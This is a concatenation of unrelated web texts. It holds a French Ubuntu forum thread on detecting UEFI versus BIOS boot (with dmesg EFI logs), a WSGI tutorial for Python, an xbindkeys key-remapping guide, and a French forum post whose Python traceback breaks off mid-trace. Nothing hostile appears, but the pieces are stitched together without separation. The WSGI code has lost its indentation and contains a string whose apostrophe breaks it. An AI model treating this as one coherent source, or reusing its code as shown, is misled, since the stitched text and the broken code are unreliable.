[ 0.000000] EFI: mem200: type=7, attr=0xf, range=[0x0000000012d18000-0x0000000012d20000) (0MB)
[ 0.000000] EFI: mem201: type=4, attr=0xf, range=[0x0000000012d20000-0x0000000012d55000) (0MB)
[ 0.000000] EFI: mem202: type=7, attr=0xf, range=[0x0000000012d55000-0x0000000012dbd000) (0MB)
[ 0.000000] EFI: mem203: type=1, attr=0xf, range=[0x0000000012dbd000-0x0000000012e25000) (0MB)
[ 0.000000] EFI: mem204: type=7, attr=0xf, range=[0x0000000012e25000-0x0000000012e40000) (0MB)
[ 0.000000] EFI: mem205: type=4, attr=0xf, range=[0x0000000012e40000-0x0000000012fbc000) (1MB)
[ 0.000000] EFI: mem206: type=3, attr=0xf, range=[0x0000000012fbc000-0x0000000012fbd000) (0MB)
[ 0.000000] EFI: mem207: type=4, attr=0xf, range=[0x0000000012fbd000-0x0000000012fc0000) (0MB)
[ 0.000000] EFI: mem208: type=3, attr=0xf, range=[0x0000000012fc0000-0x0000000012fc3000) (0MB)
[ 0.000000] EFI: mem209: type=4, attr=0xf, range=[0x0000000012fc3000-0x0000000013142000) (1MB)
[ 0.000000] EFI: mem210: type=3, attr=0xf, range=[0x0000000013142000-0x0000000013152000) (0MB)
[ 0.000000] EFI: mem211: type=4, attr=0xf, range=[0x0000000013152000-0x0000000013198000) (0MB)
[ 0.000000] EFI: mem212: type=3, attr=0xf, range=[0x0000000013198000-0x000000001319c000) (0MB)
[ 0.000000] EFI: mem213: type=4, attr=0xf, range=[0x000000001319c000-0x000000001342d000) (2MB)
[ 0.000000] EFI: mem214: type=7, attr=0xf, range=[0x000000001342d000-0x0000000013462000) (0MB)
[ 0.000000] EFI: mem215: type=4, attr=0xf, range=[0x0000000013462000-0x0000000013542000) (0MB)
[ 0.000000] EFI: mem216: type=7, attr=0xf, range=[0x0000000013542000-0x000000001355f000) (0MB)
[ 0.000000] EFI: mem217: type=4, attr=0xf, range=[0x000000001355f000-0x0000000013a07000) (4MB)
[ 0.000000] EFI: mem218: type=7, attr=0xf, range=[0x0000000013a07000-0x0000000020000000) (197MB)
[ 0.000000] EFI: mem219: type=0, attr=0xf, range=[0x0000000020000000-0x0000000020200000) (2MB)
[ 0.000000] EFI: mem220: type=7, attr=0xf, range=[0x0000000020200000-0x0000000036352000) (353MB)
[ 0.000000] EFI: mem221: type=2, attr=0xf, range=[0x0000000036352000-0x00000000371a1000) (14MB)
[ 0.000000] EFI: mem222: type=7, attr=0xf, range=[0x00000000371a1000-0x0000000040004000) (142MB)
[ 0.000000] EFI: mem223: type=0, attr=0xf, range=[0x0000000040004000-0x0000000040005000) (0MB)
[ 0.000000] EFI: mem224: type=7, attr=0xf, range=[0x0000000040005000-0x00000000999d9000) (1433MB)
[ 0.000000] EFI: mem225: type=2, attr=0xf, range=[0x00000000999d9000-0x00000000c8eab000) (756MB)
[ 0.000000] EFI: mem226: type=5, attr=0x800000000000000f, range=[0x00000000c8eab000-0x00000000c8ead000) (0MB)
[ 0.000000] EFI: mem227: type=0, attr=0xf, range=[0x00000000c8ead000-0x00000000c8fc0000) (1MB)
[ 0.000000] EFI: mem228: type=5, attr=0x800000000000000f, range=[0x00000000c8fc0000-0x00000000c8fd9000) (0MB)
[ 0.000000] EFI: mem229: type=6, attr=0x800000000000000f, range=[0x00000000c8fd9000-0x00000000c8fe6000) (0MB)
[ 0.000000] EFI: mem230: type=5, attr=0x800000000000000f, range=[0x00000000c8fe6000-0x00000000c9022000) (0MB)
[ 0.000000] EFI: mem231: type=6, attr=0x800000000000000f, range=[0x00000000c9022000-0x00000000c9082000) (0MB)
[ 0.000000] EFI: mem232: type=5, attr=0x800000000000000f, range=[0x00000000c9082000-0x00000000c9099000) (0MB)
[ 0.000000] EFI: mem233: type=6, attr=0x800000000000000f, range=[0x00000000c9099000-0x00000000c90a8000) (0MB)
[ 0.000000] EFI: mem234: type=6, attr=0x800000000000000f, range=[0x00000000c90a8000-0x00000000c90c3000) (0MB)
[ 0.000000] EFI: mem235: type=0, attr=0xf, range=[0x00000000c90c3000-0x00000000c910a000) (0MB)
[ 0.000000] EFI: mem236: type=0, attr=0xf, range=[0x00000000c910a000-0x00000000c911a000) (0MB)
[ 0.000000] EFI: mem237: type=10, attr=0xf, range=[0x00000000c911a000-0x00000000c953b000) (4MB)
[ 0.000000] EFI: mem238: type=0, attr=0xf, range=[0x00000000c953b000-0x00000000c9558000) (0MB)
[ 0.000000] EFI: mem239: type=0, attr=0xf, range=[0x00000000c9558000-0x00000000c955e000) (0MB)
[ 0.000000] EFI: mem240: type=0, attr=0xf, range=[0x00000000c955e000-0x00000000c95c3000) (0MB)
[ 0.000000] EFI: mem241: type=10, attr=0xf, range=[0x00000000c95c3000-0x00000000c9751000) (1MB)
[ 0.000000] EFI: mem242: type=10, attr=0xf, range=[0x00000000c9751000-0x00000000c980d000) (0MB)
[ 0.000000] EFI: mem243: type=10, attr=0xf, range=[0x00000000c980d000-0x00000000c981e000) (0MB)
[ 0.000000] EFI: mem244: type=10, attr=0xf, range=[0x00000000c981e000-0x00000000c9828000) (0MB)
[ 0.000000] EFI: mem245: type=10, attr=0xf, range=[0x00000000c9828000-0x00000000c982c000) (0MB)
[ 0.000000] EFI: mem246: type=10, attr=0xf, range=[0x00000000c982c000-0x00000000c9843000) (0MB)
[ 0.000000] EFI: mem247: type=9, attr=0xf, range=[0x00000000c9843000-0x00000000c9847000) (0MB)
[ 0.000000] EFI: mem248: type=9, attr=0xf, range=[0x00000000c9847000-0x00000000c9848000) (0MB)
[ 0.000000] EFI: mem249: type=10, attr=0xf, range=[0x00000000c9848000-0x00000000c988b000) (0MB)
[ 0.000000] EFI: mem250: type=4, attr=0xf, range=[0x00000000c988b000-0x00000000c99d0000) (1MB)
[ 0.000000] EFI: mem251: type=3, attr=0xf, range=[0x00000000c99d0000-0x00000000c9c5e000) (2MB)
[ 0.000000] EFI: mem252: type=4, attr=0xf, range=[0x00000000c9c5e000-0x00000000c9c6d000) (0MB)
[ 0.000000] EFI: mem253: type=3, attr=0xf, range=[0x00000000c9c6d000-0x00000000c9c7f000) (0MB)
[ 0.000000] EFI: mem254: type=4, attr=0xf, range=[0x00000000c9c7f000-0x00000000c9c80000) (0MB)
[ 0.000000] EFI: mem255: type=3, attr=0xf, range=[0x00000000c9c80000-0x00000000c9c82000) (0MB)
[ 0.000000] EFI: mem256: type=4, attr=0xf, range=[0x00000000c9c82000-0x00000000c9c89000) (0MB)
[ 0.000000] EFI: mem257: type=6, attr=0x800000000000000f, range=[0x00000000c9c89000-0x00000000c9ff5000) (3MB)
[ 0.000000] EFI: mem258: type=4, attr=0xf, range=[0x00000000c9ff5000-0x00000000ca000000) (0MB)
[ 0.000000] EFI: mem259: type=7, attr=0xf, range=[0x0000000100000000-0x000000042fe00000) (13054MB)
[ 0.000000] EFI: mem260: type=0, attr=0x8000000000000000, range=[0x00000000cb000000-0x00000000cf200000) (66MB)
[ 0.000000] EFI: mem261: type=11, attr=0x8000000000000001, range=[0x00000000f8000000-0x00000000fc000000) (64MB)
[ 0.000000] EFI: mem262: type=11, attr=0x8000000000000001, range=[0x00000000fec00000-0x00000000fec01000) (0MB)
[ 0.000000] EFI: mem263: type=11, attr=0x8000000000000001, range=[0x00000000fed00000-0x00000000fed04000) (0MB)
[ 0.000000] EFI: mem264: type=11, attr=0x8000000000000001, range=[0x00000000fed1c000-0x00000000fed20000) (0MB)
[ 0.000000] EFI: mem265: type=11, attr=0x8000000000000001, range=[0x00000000fee00000-0x00000000fee01000) (0MB)
[ 0.000000] EFI: mem266: type=11, attr=0x8000000000000001, range=[0x00000000ff000000-0x0000000100000000) (16MB)
[ 4.414152] fb0: EFI VGA frame buffer device
[ 4.860429] EFI Variables Facility v0.08 2004-May-17
[ 7.499759] fb: conflicting fb hw usage inteldrmfb vs EFI VGA - removing generic driver
En résumé avec le cd francophone je n'ai pas de choix. Avec le cd original je peux soit booter en UEFI soit non. Par contre je ne sais pas pourquoi.
Dernière modification par azdep (Le 20/06/2012, à 18:28)
Hors ligne
malbo
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
J'ai fait l'essai avec VirtualBox avec l'option EFI activée (case cochée "Activer EFI (os spéciaux seulement)" dans les options avancées).
1) démarrage sur liveCD virtuel de la version officielle "ubuntu-12.04-desktop-amd64.iso"
Résultat : le démarrage se fait automatiquement sur le liveCD virtuel avec apparition de l'écran caractéristique du démarrage en EFI (menu en noir et blanc avec le titre GNU GRUB...) : http://www.hostingpics.net/viewer.php?i … 132006.png
2) démarrage sur le liveCD virtuel de la version francophone "ubuntu-12.04-desktop-amd64-fr.iso"
Résultat : le liveCD n'est tout simplement pas reconnu, c'est à dire que la machine virtuelle démarre sur le disque dur (virtuel) alors qu'elle devrait démarrer sur le liveCD virtuel s'il était fonctionnel.
C'est donc un résultat conforme à ce qui a été décrit par azdep dans le post #4, c'est à dire que le liveCD francophone n'est pas vu comme UEFI.
Dernière modification par malbo (Le 25/06/2012, à 11:35)
MedionPC MT5 MED MT 162 / pentium IV / RAM 1Go / Radeon HD 3450 AGP / XP, HandyLinux et Xubuntu 14.04 32 bits
Acer Aspire M5100-5F7N / Phenom Quad Core 9500 / ATI HD 2600 pro / RAM 4 Go / Win8, XP et Ubuntu 14.04
Hors ligne
Tsintao
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Cher Monsieur Malbo, pour faire suite à votre requête du lundi 25 juin à 13h17… ;-)
Je confirme que la version française du CD d'installation de Ubuntu 12.04 ne permet pas de démarrage en UEFI. Et c'est bien naturel puisqu'il ne contient pas
|…|-- efi| `-- boot| `-- bootx64.efi|…
… contrairement à l'installeur «officiel».
J'ignore si c'est la seule condition pour que l'installeur puisse démarrer en UEFI, mais je suppose que la présence de cette arborescence, avec un *.efi au bout, est une condition sine qua non pour être détecté (et lancé) par le bootmanager UEFI (que ce soit celui du firmware ou pas).
(mais je rapelle, au passage, qu'il n'est pas indispensable de démarrer le CD d'installation en UEFI pour pouvoir installer Ubuntu 12.04 sur un système UEFI [ni même pour en préparer un, d'ailleurs]. Cela requiert, toutefois, une bonne compréhension de l'EFI et quelques précautions pour éviter des pertes de données et de temps. Il n'est simplement pas possible de s'en remettre entièrement à l'installeur de Ubuntu 12.04 pour réaliser toutes les phases de l'installation automatiquement)
Dernière modification par Tsintao (Le 25/06/2012, à 17:29)
Hors ligne
malbo
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Merci pour cette confirmation Tsintao.
MedionPC MT5 MED MT 162 / pentium IV / RAM 1Go / Radeon HD 3450 AGP / XP, HandyLinux et Xubuntu 14.04 32 bits
Acer Aspire M5100-5F7N / Phenom Quad Core 9500 / ATI HD 2600 pro / RAM 4 Go / Win8, XP et Ubuntu 14.04
Hors ligne
Tsintao
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
De rien et merci à toi pour la série de fils consacrée au sujet (que j'avais loupée).
Hors ligne
azdep
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonjour,
merci à Tsintao,
(mais je rapelle, au passage, qu'il n'est pas indispensable de démarrer le CD d'installation en UEFI pour pouvoir installer Ubuntu 12.04 sur un système UEFI [ni même pour en préparer un, d'ailleurs]. Cela requiert, toutefois, une bonne compréhension de l'EFI et quelques précautions pour éviter des pertes de données et de temps. Il n'est simplement pas possible de s'en remettre entièrement à l'installeur de Ubuntu 12.04 pour réaliser toutes les phases de l'installation automatiquement)
Ce serait bien de décrire la procédure d'installation EFI sans démarrer le cd en UEFI, car j'ai essayé pas mal de manip pour faire un dual boot avec windows7 sur 2 disques durs, Ubuntu démarre presque dans tout les cas, mais souvent Windows ne repart pas, il suffit dans ce cas d'enlever le second disque sur lequel Ubuntu est installé.
Je comprend bien qu'on ne peut pas s'en remettre qu'à l'installeur, mais c'est qu'en même dommage d'avoir un cd francophone moins disant que l'original. Il faut aussi penser que dans les utilisateurs d'Ubuntu il n'y a pas que des ingénieurs informaticiens.
Hors ligne
Tsintao
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Ce serait bien de décrire la procédure d'installation EFI sans démarrer le cd en UEFI
Salut Azdep,
Le fil de récapitulation de mon installation, avec rEFInd en tant que bootmanager et ELILO en tant que bootloader Linux, constitue, en lui même, un petit "guide" pour une installation de Ubuntu (ou autre distribution GNU/Linux) sur un système EFI avec Windows7 pré-installé. Et il est tout à fait possible de l'implémenter sans démarrer le CD d'installation en mode UEFI.
Je rechigne à en faire un guide plus générique, parce que
C'est une manière de faire, il y en a d'autres ;
Je n'ai aucune certitude que cela fonctionnerait sur tous les firmware EFI ;
Il faudrait que je donne tellement d'informations « génériques » que cela découragerait les utilisateurs visés (plutôt novices et/ou ne disposant pas d'assez de temps pour lire et intégrer le nécessaire vital).
Cela prend beaucoup de temps et cela m'engagerait vis-à-vis des utilisateurs qui me feraient confiance. Or, si j'oublie un détail par mégarde ou par ignorance, cela peut conduire à des pertes de données.
Plusieurs fils, dont ceux de Malbo, traitent du sujet sur ce forum. C'est loin d'être idéal, les informations étant disséminées… mais tant que les distributions ne seront pas disponibles avec un installeur qui automatise tout le processus sur des bases saines, il n'y a pas de miracle : les gens devront procéder eux même à quelques phases de l'installation et, préalablement, lire un peu sur le sujet pour comprendre ce qu'ils font.
Maintenant, si la demande est forte pour écrire une procédure limitée à rEFInd+ELILO mieux adaptée à un novice, j'envisagerai la possibilité ;-)
Dernière modification par Tsintao (Le 26/06/2012, à 11:31)
Hors ligne
azdep
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bien sur Tsintao je comprend très bien ta réponse, et je sais le travail que demande ce genre de guide, c'est pour ca que la proposition de YannUbuntu de rajouter l'EFI dans le cd d'install. est surement plus simple. Ca en vaut d'autant plus le coup que la 12.04 est une LTS. Pendant mes essais et avant d'essayer le cd original, j'ai essayer le livecd Fedora et lui a fonctionner. Par acquis de conscience j'ai essayé le cd original qui heureusement à fonctionné, sinon j'aurai été un peu frustré
Dernière modification par azdep (Le 27/06/2012, à 08:17)
Hors ligne
malbo
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
c'est pour ça que la proposition de malbo de rajouter l'EFI dans le cd d'install. est surement plus simple.
En fait, c'est YannUbuntu qui a exprimé cela : http://forum.ubuntu-fr.org/viewtopic.ph … 1#p9746621
Cela dit je suis bien d'accord : ce serait inadmissible que le liveCD Francophone ne soit pas fonctionnel pour installer en EFI.
MedionPC MT5 MED MT 162 / pentium IV / RAM 1Go / Radeon HD 3450 AGP / XP, HandyLinux et Xubuntu 14.04 32 bits
Acer Aspire M5100-5F7N / Phenom Quad Core 9500 / ATI HD 2600 pro / RAM 4 Go / Win8, XP et Ubuntu 14.04
Hors ligne
azdep
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Oups, j'ai corrigé la source !
Hors ligne
kao_chen
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonjour, j'ai fait le souhait d'acheter une carte mère équipé en EFI sur ce post :
http://forum.ubuntu-fr.org/viewtopic.ph … 1#p9842021
et on m'a conseillé de passer vous voir par ici.
Pour résumé, j'ai repéré une carte mère (GA-Z77X-D3H) qui m’intéresse mais j'ai vu qu'elle était équipé d'un EFI seulement, je voulais savoir si pour installer Ubuntu, uniquement (pas de dual boot Windows) je rencontrerai pas d'incompatibilité. D'après ce que j'ai lu ci dessus, ça devrait passer, notamment avec la version officielle. Si vous me le déconseillez vraiment, je trouverai une autre carte, sinon je tenterai ma chance.
Merci d'avance,
Kao
Hors ligne
malbo
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
kao_chen,
Je n'ai lu nulle part que des cartes mères UEFI soient incompatibles avec Ubuntu. Tu peux acheter n'importe quelle carte-mère soit UEFI/BIOS soit UEFI seulement.
MedionPC MT5 MED MT 162 / pentium IV / RAM 1Go / Radeon HD 3450 AGP / XP, HandyLinux et Xubuntu 14.04 32 bits
Acer Aspire M5100-5F7N / Phenom Quad Core 9500 / ATI HD 2600 pro / RAM 4 Go / Win8, XP et Ubuntu 14.04
Hors ligne
kao_chen
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Ok cool merci,
J'avais lu qu'il pouvait y avoir des problèmes de compatibilité avec Grub2 mais il semble que cela ne concerne que l'activation de l'option secure boot
http://www.clubic.com/linux-os/debian/u … rub-2.html
Hors ligne
malbo
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Dans ce post : http://forum.ubuntu-fr.org/viewtopic.ph … 1#p9478871
tshirtman (qui semble très bien informé sur le sujet) répond "non" à la question "est ce que dans quelques années tout les PC en vente auront des carte mere avec UEFI empêchant l'installation d'autre chose que windows ? Y compris les carte meres vendues séparément ?"
Tu peux poster dans cette discussion pour te faire confirmer la chose dans ton cas particulier mais à mon avis, il n'y a pas de danger pour toi.
Dernière modification par malbo (Le 30/06/2012, à 09:07)
MedionPC MT5 MED MT 162 / pentium IV / RAM 1Go / Radeon HD 3450 AGP / XP, HandyLinux et Xubuntu 14.04 32 bits
Acer Aspire M5100-5F7N / Phenom Quad Core 9500 / ATI HD 2600 pro / RAM 4 Go / Win8, XP et Ubuntu 14.04
Hors ligne
Tsintao
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
La réponse est effectivement "non". Par contre, les PC's pré-installés avec Win8 pourraient très prochainement commencer à poser de petits problèmes à ceux qui auraient l'audace de vouloir faire ce qu'ils veulent de leur ordinateur : Linux Torvalds on Windows 8, UEFI and Fedora.
... Mais ça ne s'applique pas au cas de Kao_chen, grand bien lui fasse ^^
Hors ligne
polyp
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonsoir,
avec Asus UX31A, le BIOS est..un BIOS, Cas 1 :
dmesg | grep EFI
[ 1.241248] EFI Variables Facility v0.08 2004-May-17
Mais, une fois l'installation (12.04 de ubuntu.com) faite (chargeur de démarrage sur /dev/sda, classique quoi!), la machine
ne redémarre plus.
- Précision 1 : Après plusieurs essais infructueux (Debian Wheezy puis Ubuntu 12.04) j'ai fait un ménage un peu violent...et viré toutes les partitions Fat32 de quelques Mo à 300 Mo au début du disque.. (Oui, des fois on fait des choses idiotes..)
- Précision 2: Ultrabook=SSD non extractible=Impossible de faire l'install depuis une autre machine.
Je n'ai aucune envie de garder Windows, et peut donc me passer de tout mécanisme de compatibilité concernant le chargeur de démarrage.
Bref, j'ai l'impression d'être revenu en mode débutant...
Une idée ?
Merci d'avance.
Cdlt.
Hors ligne
YannUbuntu
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Si vous aviez Windows en EFI, il va probablement vous falloir recréer la partition EFI puis réinstaller grub-efi. Voir ce tuto de Malbo: http://forum.ubuntu-fr.org/viewtopic.ph … 1#p9866321
Hors ligne
polyp
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Bonsoir,
sauf que la re-création de la partition Windows/EFI (pas Windows lui-même) nécessite un retour atelier..
Je vais voir ce que donne la suppression de la partition GPT et son remplacement par une partition MBR classique; c'est ma dernière cartouche.. ;-(
Merci.
Hors ligne
YannUbuntu
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
sauf que la re-création de la partition Windows/EFI (pas Windows lui-même) nécessite un retour atelier...
- La partition EFI : non, vous pouvez créer une partition EFI avec gParted. (FAT32, >200Mo, début du disque, drapeau boot)
- le fichier WIndows EFI: ça doit pouvoir se faire via le DVD Windows je pense, mais comme vous n'avez pas besoin de WIndows, ce n'est pas le problème.
Dernière modification par YannUbuntu (Le 05/07/2012, à 00:16)
Hors ligne
polyp
Re : [Tuto] identifier si on est dans un système UEFI ou Bios
Merci pour toutes vos infos .
Je suis en train de refaire la partition à la main en suivant http://forum.ubuntu-fr.org/viewtopic.ph … 1#p7281381
Et....Ca marche !
Quelques modifs :
- il manque un mkdir /boot/efi
- Lors de l'install le nom de l'hote change de ubuntu à xxxxx
echo "127.0.0.1 xxxxx" >> /etc/hosts
- Par sécurité : cp -r /boot/efi/EFI/ubuntu /boot/efi/EFI/xxxxx
MERCI. !!
Hors ligne |
Getting Started with WSGI
by Jason R. Briggs
11/09/2006
What is WSGI, and why should you care? WSGI, or the Web Server Gateway Interface, is a Python Enhancement Proposal (#333) authored by Philip Eby in an attempt to address the lack of standardization among Python web frameworks. Think of it as the servlet spec for the Python world, only simpler. Although the WSGI specification is primarily aimed at framework developers, you can also develop application components to it. One of the aims of PEP 333 is ease of implementation, which consequently carries through to the development of those components. For example, the "Hello world" example given in the WSGI specification could hardly be any simpler to implement:
def simple_app(environ, start_response):
status = '200 OK'
response_headers = [('Content-type','text/plain')]
start_response(status, response_headers)
return ['Hello world!\n']
With the recent release of Python 2.5, the reference implementation of WSGI is available as a standard module (wsgiref), meaning that there is a direct path from developing application components to test and production environments. It's easy to imagine rapid development of components using wsgiref, then using something more scalable for testing and production. That said, WSGI doesn't provide many features you might expect or want for webapp development; for sessions, cookies, and the like, you'd also need a suitable web framework (of which there are many), or perhaps middleware or utilities to provide those services.
As to why you should care: if you're a low-level person who prefers to bolt on utilities and modules to keep your development effort as free of constraint as possible, WSGI will hold considerable attraction. Even if you prefer the benefits offered by higher-level frameworks, chances are they'll be built on top of WSGI, and it's always useful to know what happens behind the scenes.
Installing wsgiref
For those (like myself) running Python 2.4.x, the good news is that the wsgiref module will still function. wsgiref is available from the Python Subversion repository, or you can download it from the command line via:
svn co http://svn.python.org/projects/python/trunk/Lib/wsgiref
Copy the wsgiref directory into the site-packages directory of your Python distribution (in my case, /usr/lib/python2.4/site-packages/) and check whether you can import the module. If so, you should be able to type import wsgiref in the Python console with no errors reported.
Testing the "Hello world" application shown earlier requires a few extra lines of code (see test1.py):
if __name__ == '__main__':
from wsgiref import simple_server
httpd = simple_server.make_server('', 8080, simple_app)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
This uses simple_server (an implementation of the BaseHttpServer module) to provide basic web server facilities, and passes the name of the simple_app function as an argument to the make_server function. Run this program (python test1.py) and direct your browser to http://localhost:8080 to see it in action.
And Using an Object...
You don't have to stick to simple functions for your applications--WSGI supports object instantiation for handling requests. To do so, create a class that implements the __init__ and __iter__ methods. For example, I've abstracted out some basic utilities in the following class. The __iter__ method checks for a do_ method matching the type of HTTP request (GET, PUT, etc.) and either calls that method to process, or sends an HTTP 405 in response. In addition, I've added a parse_fields method to parse the x-url-form-encoded parameters in the body of a request using the standard cgi module. Note that, for both object instantiation and simple method calls, the arguments (environ and start_response) are positional--the order is important, not the name.
import cgi
class BaseWSGI:
def __init__(self, environ, start_response):
self.environ = environ
self.start = start_response
def __iter__(self):
method = 'do_%s' % self.environ['REQUEST_METHOD']
if not hasattr(self, method):
status = '405 Method Not Allowed'
response_headers = [('Content-type','text/plain')]
self.start(status, response_headers)
yield 'Method Not Allowed'
else:
m = getattr(self, method)
yield m()
def parse_fields(self):
s = self.environ['wsgi.input'].read(int(self.environ['CONTENT_LENGTH']))
return cgi.parse_qs(s)
I can then subclass BaseWSGI to create a simple number-guessing application (test2.py):
import random
number = random.randint(1,100)
class Test(BaseWSGI):
def __init__(self, environ, start_response):
BaseWSGI.__init__(self, environ, start_response)
self.message = ''
def do_GET(self):
status = '200 OK'
response_headers = [('Content-type','text/html')]
self.start(status, response_headers)
return '''
<html>
<body>
<form method="POST">
<p>%s</p>
<p><input type="text" name="myparam" value="" />
<p><input type="submit" /></p>
</form>
</body>
</html>
''' % self.message
def do_POST(self):
global number
fields = self.parse_fields()
if not fields.has_key('myparam'):
self.message = 'You didn't guess'
return self.do_GET()
guess = int(fields['myparam'][0])
if guess == number:
self.message = 'You guessed correctly'
number = random.randint(1,100)
elif guess < number:
self.message = 'Try again, the number is higher than your guess'
else:
self.message = 'Try again, the number is lower than your guess'
return self.do_GET()
You may be thinking that all of this is somewhat like reinventing the wheel--which is true, to a point. However, the low-level nature of WSGI is designed to make implementing frameworks a straightforward process--and more standardized. If you don't want to reinvent the wheel from an application perspective, look to a higher-level web framework, but do read on for some alternatives. |
xbindkeys..
sudo apt-get install xbindkeys
Xbindkeys is a very versatile program that lets you remap keys very easily. It uses a config file, my default located in your home directory, to change key bindings into certain commands.
To create a default config file you use the command:
xbindkeys --defaults
Which prints the default config file. So if you want to create the file containing the default values you would use:
xbindkeys --defaults > $HOME/.xbindkeysrc
Which prints the default values into a hidden file named .xbindkeysrc located in home (~).
Now to actually change the bindings of keys we first need to know what the name or keysym of those keys is. xbindkeys allows us to use the -k handle to find the name of a key or key combination. Run:
xbindkeys -k
And press a key or key combination. Your output will look something similar to this (when pressing space):
"NoCommand"
m:0x10 + c:65
Mod2 + space
"No Command" tells us that currently no command is associated with the Space key.
m:0x10 + c:65
Mod2 + space
Is the name of the key/key combination.
the config file..
Lets open up the config file you made earlier:
gedit .xbindkeysrc
Here is an excerpt from the default config file:
#
# A list of keys is in /usr/include/X11/keysym.h and in
# /usr/include/X11/keysymdef.h
# The XK_ is not needed.
#
# List of modifier:
# Release, Control, Shift, Mod1 (Alt), Mod2 (NumLock),
# Mod3 (CapsLock), Mod4, Mod5 (Scroll).
#
# The release modifier is not a standard X modifier, but you can
# use it if you want to catch release events instead of press events
# By defaults, xbindkeys does not pay attention with the modifiers
# NumLock, CapsLock and ScrollLock.
# Uncomment the lines above if you want to pay attention to them.
#keystate_numlock = enable
#keystate_capslock = enable
#keystate_scrolllock= enable
# Examples of commands:
"xbindkeys_show"
control+shift + q
Every line beginning with # is a comment and won't be read or run by xbindkeys.
So far the only line that isn't commented out is:
"xbindkeys_show"
control+shift + q
This excerpt shows the basic syntax of xbindkeys commands:
"Command to run (in quotes)"
key to associate with command (no quotes)
So as you can see:
"xbindkeys_show"
control+shift + q
Runs the command xbindkeys_show when you press Ctrl+Shift+q.
bind keys to commands..
Now lets try binding a few keys. I recommend clearing the entire default file so that it's blank. It contains preset key bindings you probably don't want.
Now lets say you want to use Ctrl+b to open your browser. First you need to know what the name or keysym of Ctrl+b is. As mentioned earlier you can use xbindkeys -k to find the name of a key or keys, but there is an easier way. For simple combinations like Ctrl+b you can just use:
Control+b
A lot easier isn't it!
Now find the command for your favorite browser:
Remember the syntax from earlier? The xbindkeys command to launch Firefox (or your other favorite browser) when you press Ctrl+b is:
"firefox"
Control+b
Now put that in your config file and save it. Now you might notice your command doesn't work yet, that's because xbindkeys isn't running. To start it just run xbindkeys from a terminal. Your Ctrl+b should now start your browser!
bind keys to other keys..
If you want a key on your keyboard to call a different key on your keyboard, you will need an extra piece of software as xbindkeys does not support this on it's own. I know of two programs which we can use, xdotool and xte. I prefer xte so I'm going to use that.
Install it:
sudo apt-get install xautomation
The syntax for xte is like this:
xte 'command key/mousebutton/xyCoordinates'
Examples:
To call a single key press: xte 'key keyName'
To call a key combination: xte 'keydown keyName' 'keydown secondKeyName' 'keyup keyName' 'keyup secondKeyName
To call a mouse button: xte 'mouseclick buttonNumber' (We'll discuss finding button numbers a little latter)
To move the mouse: xte 'mousemove xCoordinate yCoordinate'
And more! Read man xte
Now that you know the command for simulating key presses you can call it from your xbindkeys script, like this:
"xte 'key b'"
Control+b
As you might guess, this calls xte 'key b' when we press Ctrl+b, which would enter a b into any document you might be currently working on.
I thing to note however is that xbindkeys and xte don't always work very well together. Sometimes you have to press the keys exactly at the same time to get output, other times it works just fine. This may or may not have to do with system configuration and/or hardware.. I'm not sure. See maggotbrain's answer for a more reliable way of binding keys to other keys.
bind mouse buttons to commands..
You can also use xbindkeys to bind mouse buttons to commands (and thence keyboard shortcuts, see above). The basic format for mouse buttons should be familiar to you now:
" [command to run] "
b:n
Where [command to run] is the command you want to run and n the number of the mouse button you want to use for that command.
If you don't know the number of your mouse button you can use xev to find out what it is:
xev | grep button
The output will be something like this:
user@host:~$ xev | grep button
state 0x10, button 1, same_screen YES
state 0x110, button 1, same_screen YES
state 0x10, button 2, same_screen YES
state 0x210, button 2, same_screen YES
state 0x10, button 3, same_screen YES
state 0x410, button 3, same_screen YES
When I press each of my mouse buttons.
For example:
" firefox "
b:2
Launches firefox when I press my middle mouse button. |
FelixP
[Résolu] Sources de Logiciels ne veut plus démarrer…
Salut ! Je reposte mon problème car il semblerait que mon ancien post soit tombé dans les abîsses…
Lorsque je veux ouvrir la liste des sources de logiciels, j'obtiens une erreur…
Ce problème est apparu, je crois, après ajout du dépot permettant d'installer camllight, et d'autres personnes ont déjà eu le même problème, mais je n'ai pas compris comment le résoudre…
Sources de logiciels ne démarre pas dans Quantal [Résolu]
Voici ce que j'ai en console :
felix@astrotux:~$ software-properties-gtk
gpg: /tmp/tmp4xm_2e/trustdb.gpg: base de confiance créée
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/UbuntuDrivers/detect.py", line 162, in packages_for_modalias
cache_map = packages_for_modalias.cache_maps[apt_cache_hash]
KeyError: 5193189
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/bin/software-properties-gtk", line 103, in <module>
app = SoftwarePropertiesGtk(datadir=options.data_dir, options=options, file=file)
File "/usr/lib/python3/dist-packages/softwareproperties/gtk/SoftwarePropertiesGtk.py", line 178, in __init__
self.init_drivers()
File "/usr/lib/python3/dist-packages/softwareproperties/gtk/SoftwarePropertiesGtk.py", line 1097, in init_drivers
self.devices = detect.system_device_drivers()
File "/usr/lib/python3/dist-packages/UbuntuDrivers/detect.py", line 415, in system_device_drivers
for pkg, pkginfo in system_driver_packages(apt_cache).items():
File "/usr/lib/python3/dist-packages/UbuntuDrivers/detect.py", line 319, in system_driver_packages
for p in packages_for_modalias(apt_cache, alias):
File "/usr/lib/python3/dist-packages/UbuntuDrivers/detect.py", line 164, in packages_for_modalias
cache_map = _apt_cache_modalias_map(apt_cache)
File "/usr/lib/python3/dist-packages/UbuntuDrivers/detect.py", line 129, in _apt_cache_modalias_map
m = package.candidate.record['Modaliases']
File "/usr/lib/python3/dist-packages/apt/package.py", line 429, in record
return Record(self._records.record)
